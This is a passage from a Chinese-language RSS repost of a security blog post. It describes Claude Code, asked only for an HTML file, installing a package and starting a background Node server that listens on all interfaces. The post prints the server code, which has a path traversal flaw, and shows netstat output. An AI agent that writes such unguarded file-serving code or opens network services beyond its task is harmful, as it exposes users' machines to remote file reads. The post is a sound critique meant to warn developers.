sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">而这是它的回复：</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><span leaf="">好的——HTML Artifact、真实嵌入的截图、完整目录。这个组合有一个硬性技术约束需要我先解决：Artifact 在严格的 CSP 下运行，会阻止所有外部图片，因此每张截图都必须下载、压缩并嵌入为 data: URI。在正式投入这条流水线之前，让我先探测一下环境，确认能否可靠地获取和处理图片。</span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Claude Code 使用 Opus 4.8 和&#34;Ultracode&#34;，试图帮助我，它需要打开一些网站并查找最新文档——它确实做到了。但遗憾的是，它多做了一些事。也许让它包含图片这个要求有点过了……</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><strong><span leaf="">我得到的</span></strong></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Claude 似乎是个乐于助人的助手，总是超出预期。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">Environment: curl ✓, node v24 ✓, but no Python/ImageMagick/sharp. Let me set up image processing (install sharp for resize/compress) and test the end-to-end screenshot pipeline on one product before scaling to the full catalog.</span><br/><span leaf="">sharp installed ✓ and WebFetch surfaced real CDN image URLs. Let me verify I can actually download and process one (the URLs point to images.ctfassets.net, Company&#39;s CDN).</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">&#34;sharp&#34;到底是什么？它也许是个开发工具，但真的有必要安装它吗？在&#34;Auto&#34;模式下运行是不是太过头了？&#34;Environment: curl ✓, node v24 ✓&#34;这行输出看起来也不太妙。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">它利用已安装的 NodeJS 运行一些工具并构建了 HTML。很好！来看看结果：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">Created a file, ran a command, used 2 tools</span><br/><span leaf="">file:// isn&#39;t accepted by the browser tool. Let me serve the scratchpad over local HTTP and view it there.</span><br/><span leaf="">running</span><br/><span leaf="">Starting static server in background</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这看起来有点可疑。为一个 HTML 文件开启 Web 服务器？这真的有必要吗？来看看：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">C:\Windows\System32&gt;netstat  -abnp tcp</span><br/><span leaf="">...</span><br/><span leaf="">  TCP    0.0.0.0:8791           0.0.0.0:0              LISTENING    [node.exe]</span><br/><span leaf="">C:\Windows\System32&gt;netstat -abnp tcpv6</span><br/><span leaf="">...</span><br/><span leaf="">  TCP    [::]:8791              [::]:0                 LISTENING    [node.exe]</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">现在我的机器上运行着一个 NodeJS 服务器，监听所有 IP 地址，而不是仅限 localhost。太好了！能出什么岔子呢？</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">来看看提供 HTML 服务的代码：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">http</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">require</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;http&#39;</span></span><span leaf="">), </span><span style="color: rgb(36, 41, 46);"><span leaf="">fs</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">require</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;fs&#39;</span></span><span leaf="">), </span><span style="color: rgb(36, 41, 46);"><span leaf="">path</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">require</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;path&#39;</span></span><span leaf="">);</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">root</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">__dirname</span></span><span leaf="">;</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">http</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(227, 98, 9);"><span leaf="">createServer</span></span><span leaf="">((</span><span style="color: rgb(36, 41, 46);"><span leaf="">req</span></span><span leaf="">, </span><span style="color: rgb(36, 41, 46);"><span leaf="">res</span></span><span leaf="">) </span><span style="color: rgb(215, 58, 73);"><span leaf="">=&gt;</span></span><span leaf=""> {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">let</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">f</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">decodeURIComponent</span></span><span leaf="">(</span><span style="color: rgb(36, 41, 46);"><span leaf="">req</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">url</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(227, 98, 9);"><span leaf="">split</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;?&#39;</span></span><span leaf="">)[</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">]);</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(36, 41, 46);"><span leaf="">f</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">===</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;/&#39;</span></span><span leaf="">) </span><span style="color: rgb(36, 41, 46);"><span leaf="">f</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;/company-platform-guide.html&#39;</span></span><span leaf="">;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">p</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">path</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(227, 98, 9);"><span leaf="">join</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">root</span></span><span leaf="">, </span><span style="color: rgb(36, 41, 46);"><span leaf="">f</span></span><span leaf="">);</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">fs</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(227, 98, 9);"><span leaf="">readFile</span></span><span leaf="">(</span><span style="color: rgb(36, 41, 46);"><span leaf="">p</span></span><span leaf="">, (</span><span style="color: rgb(36, 41, 46);"><span leaf="">e</span></span><span leaf="">, </span><span style="color: rgb(36, 41, 46);"><span leaf="">d</span></span><span leaf="">) </span><span style="color: rgb(215, 58, 73);"><span leaf="">=&gt;</span></span><span leaf=""> {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(36, 41, 46);"><span leaf="">e</span></span><span leaf="">) { </span><span style="color: rgb(36, 41, 46);"><span leaf="">res</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(227, 98, 9);"><span leaf="">writeHead</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">404</span></span><span leaf="">); </span><span style="color: rgb(36, 41, 46);"><span leaf="">res</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(227, 98, 9);"><span leaf="">end</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;nf&#39;</span></span><span leaf="">); </span><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf="">; }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">ext</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">path</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(227, 98, 9);"><span leaf="">extname</span></span><span leaf="">(</span><span style="color: rgb(36, 41, 46);"><span leaf="">p</span></span><span leaf="">)</span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(227, 98, 9);"><span leaf="">slice</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">);</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">t</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> {</span><span style="color: rgb(0, 56, 120);"><span leaf="">html</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">:</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;text/html&#39;</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">js</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">:</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;text/javascript&#39;</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">json</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">:</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;application/json&#39;</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">webp</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">:</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;image/webp&#39;</span></span><span leaf="">}[</span><span style="color: rgb(36, 41, 46);"><span leaf="">ext</span></span><span leaf="">] </span><span style="color: rgb(215, 58, 73);"><span leaf="">||</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;application/octet-stream&#39;</span></span><span leaf="">;</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">res</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(227, 98, 9);"><span leaf="">writeHead</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">200</span></span><span leaf="">, {</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;content-type&#39;</span></span><span leaf="">: </span><span style="color: rgb(36, 41, 46);"><span leaf="">t</span></span><span leaf="">});</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">res</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(227, 98, 9);"><span leaf="">end</span></span><span leaf="">(</span><span style="color: rgb(36, 41, 46);"><span leaf="">d</span></span><span leaf="">);</span><br/><span leaf="">    });</span><br/><span leaf="">})</span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(227, 98, 9);"><span leaf="">listen</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">8791</span></span><span leaf="">, () </span><span style="color: rgb(215, 58, 73);"><span leaf="">=&gt;</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">console</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">log</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;serving on <a href="http://localhost:8791" target="_blank">http://localhost:8791</a>&#39;</span></span><span leaf="">));</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">你不需要是代码审计专家就能注意到：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">root</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">__dirname</span></span><span leaf="">;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">let</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">f</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">decodeURIComponent</span></span><span leaf="">(</span><span style="color: rgb(36, 41, 46);"><span leaf="">req</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">url</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(227, 98, 9);"><span leaf="">split</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;?&#39;</span></span><span leaf="">)[</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">]);</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">p</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">path</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(227, 98, 9);"><span leaf="">join</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">root</span></span><span leaf="">, </span><span style="color: rgb(36, 41, 46);"><span leaf="">f</span></span><span leaf="">);</span><br/><span style="color: rgb(36, 41, 46);"><span leaf="">fs</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">.</span></span><span style="color: rgb(227, 98, 9);"><span leaf="">readFile</span></span><span leaf="">(</span><span style="color: rgb(36, 41, 46);"><span leaf="">p</span></span><span leaf="">, (</span><span style="color: rgb(36, 41, 46);"><span leaf="">e</span></span><span leaf="">, </span><span style="color: rgb(36, 41, 46);"><span leaf="">d</span></span><span leaf="">) </span><span style="color: rgb(215, 58, 73);"><span leaf="">=&gt;</span></span><span leaf=""> {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">...</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这是一个目录遍历漏洞。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="文章截图" class="rich_pages wxw-img" data-imgfileid="100012902" style="max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=cdbb0f8d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSjYM1yRicHKckhh5ffbwBerNBChtOvStpTSS441J1UCxpxcWSvxEYZpVCUwRBWLg4FoFVYUoR0OicklAdiawC33eQWf7IQoLJtPx8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">文章截图</span></figcaption></figure><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><strong><span leaf="">结论</span></strong></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">LLM 默认可能不会生成安全代码，这对开发者和安全团队来说是个问题。但还有一些情况是，LLM 做的比你要求的多了一点，这可能导致各种各样的问题。虽然我的情况不算高度严重——我只是想要一个该死的 HTML 文件，而 Claude 却让我的机器可以被远程（同一 VNET 内）利用。这不是我想要的。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我的两点建议：始终审查你的 Agent / LLM 做了什么。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。    </span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://nytrosecurity.com/2026/07/14/when-llms-do-more-than-they-have-to/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0b111b9b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247496573%26idx%3D2%26sn%3D7a2c7a9203559541b4a01b4dc779e142">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 16 Jul 2026 10:50:00 +0800</pubDate>
    </item>
  </channel>
</rss>